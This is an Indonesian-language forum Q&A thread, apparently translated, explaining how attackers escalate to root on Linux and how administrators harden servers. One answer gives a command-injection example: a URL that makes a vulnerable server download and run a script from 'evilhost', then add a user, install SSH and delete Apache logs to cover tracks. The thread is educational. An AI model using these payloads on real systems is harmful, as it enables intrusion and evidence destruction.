Tidak, saya tidak ingin menjadi seorang cracker atau sesuatu seperti itu, tetapi saya mencoba mencari tahu prosesnya (lebih dari perspektif pemrograman).
Jadi saya berasumsi (menebak) tujuan utama cracker adalah mendapatkan akses root untuk menginstal perangkat lunak (atau skrip) apa pun yang ditulisnya, bukan? atau mungkin memasang modul kernal mereka sendiri (itu licik untuk alasan apa pun) Bagaimana tepatnya seseorang melakukan hal ini?
Saya tahu orang-orang menggunakan skrip untuk memeriksa eksploitasi ...... tapi saya tidak mengerti caranya, dan saya juga tidak benar-benar melihat apa yang mereka lakukan dengan mereka setelah mereka menemukannya? Apakah mereka memeriksa versi untuk eksploitasi yang diketahui ...... dan kemudian setelah mereka menemukannya .......
Saya tahu ini semua terdengar sangat baru. tetapi saya hanya mencoba untuk mendapatkan ide tentang cara kerjanya karena saya tahu sistem Linux / Unix seharusnya sangat aman tetapi saya mencoba mencari tahu bagaimana seseorang bahkan akan pergi (proses) untuk mendapatkan akses root.
Faktor terbesar adalah jenis akses yang dimiliki penyerang. Jika mereka memiliki akses fisik, Anda kacau. Jika Anda hanya peduli dengan akses jarak jauh maka itu tergantung apa yang Anda jalankan; konfigurasi yang baik adalah segalanya. Server linux standar mungkin akan menjalankan ftp, ssh, http, https, dan mysql. SSH aman, tapi saya tidak akan mengizinkan login root, dan kata sandi yang baik pada setiap akun adalah suatu keharusan. FTP terkena atau gagal. Jika Anda memiliki VSFTP dan chroot pengguna Anda, maka itu sangat aman. Beberapa versi lain memiliki kerentanan yang diketahui. HTTP mungkin akan menjadi area Anda yang paling rentan. Perhatian terbesar Anda di sini adalah apa pun yang mengeksekusi file pada sistem, atau mengunggah file ke sistem. Injeksi SQL SANGAT sulit jika situs web Anda dilakukan dalam PHP5. Sekelompok siswa keamanan dan saya sendiri mencoba suntikan SQL pada situs web PHP5 yang tidak bersih selama berminggu-minggu dan tidak berhasil. Dengan MySQL, pastikan untuk menggunakan pengguna non-root dan batasi hanya untuk login dari server Apache Anda.
Ada beberapa plugin Firefox untuk menguji kerentanan situs web: akses saya, xss saya, dan sql menyuntikkan saya
Beberapa hal besar yang selalu saya lakukan di kompetisi untuk memastikan keamanan adalah:
netstat
- periksa port dan koneksi terbuka,w
- siapa yang login, berapa lama,ps
- menjalankan perintah,/etc/passwd
untuk pengguna tambahan/etc/sudoers
untuk akses sudo.Biasanya setelah mendapatkan akses, penyerang ingin mendapatkan root. Saat ini ada beberapa kerentanan eskalasi hak istimewa di luar sana yang akan memungkinkan pengguna normal untuk mendapatkan root. Setelah itu, mereka ingin membukanya untuk akses nanti dengan menambahkan pengguna, dan membuka pintu belakang.
Inilah situs web pertahanan cyber sekolah saya. Silakan melihat-lihat dan bertanya: https://thislink.doesntexist.org/
sumber
Keamanan suatu sistem tergantung pada keterampilan administrator, sehingga agak keliru mengatakan "Sistem Linux / Unix seharusnya sangat aman" :)
Sekarang untuk melanjutkan tentang peretasan ... Ada semacam alat yang disebut " pemindai kerentanan " seperti Nessus yang mencari hal-hal untuk dieksploitasi. Ada ribuan hal yang dapat salah dalam sistem yang kompleks, seperti server Apache yang tidak terkonfigurasi untuk memungkinkan pengunggahan file sewenang-wenang ke tempat sewenang-wenang. Itu dapat berfungsi sebagai batu loncatan untuk eksploitasi lebih lanjut, seperti mendapatkan akses ke database, atau akun email dari mana kata sandi dapat dipulihkan melalui fitur "lupa kata sandi".
Terkadang peretasan adalah untuk mendapatkan akses dan melakukan sesuatu yang jahat. Kadang-kadang orang melakukannya untuk bersenang-senang (yang konyol, omong-omong).
DAN, inilah kisah peretasan terkenal yang terjadi baru-baru ini. Saya pikir itu akan menjadi ilustrasi bagi siapa saja yang melihat keamanan! Mengutip ringkasan eksploit:
sumber
Ada begitu banyak vektor serangan hingga hampir tak terbatas. Salah satu yang paling sederhana secara konseptual adalah membuat program tersedia untuk umum, dan mengatakan bahwa ia melakukan sesuatu selain yang sebenarnya. Berikan instruksi ramah kepada pengguna dengan
sudo
di awal, dan saksikan dunia meledak. Ini terjadi setiap hari dengan program sumber tertutup, karena tidak mungkin bagi satu orang untuk memeriksa pekerjaannya sebelumnya, seperti yang terlihat dengan misalnya CD Sony .Anda juga dapat mencoba mengirim string khusus ke host jarak jauh. Untuk contoh tingkat tinggi, misalkan Anda memiliki server web dengan beberapa perangkat lunak yang sedang berjalan di atasnya, dan perangkat lunak itu menjalankan bagian dari URL sebagai perintah tanpa melarikan diri atau memastikan tidak dapat membahayakan. Kirim sesuatu seperti
http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
. Dipecahkan, string pencarian menjadi . Jika itu dijalankan, script.sh akan berjalan dengan hak akses yang sama dengan pengguna server web untuk melakukan apa pun di mesin. Kadang-kadang orang membiarkan ini berjalan sebagai root untuk "kenyamanan," dalam hal ini sinonim untuk kemalasan dan / atau ketidaktahuan. Bahkan jika itu tidak dijalankan sebagai root, skrip itu kemudian dapat menjalankan ribuan tes untuk lubang lain dalam perangkat lunak yang diinstal, dan menjalankan perintah lain jika menemukannya. Perintah terakhir itu misalnyafoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
, untuk mendapatkan akses SSH dan menghapus jejak pembobolan.[perintah jelas disederhanakan dan mungkin tidak akan berhasil. YMMV]
sumber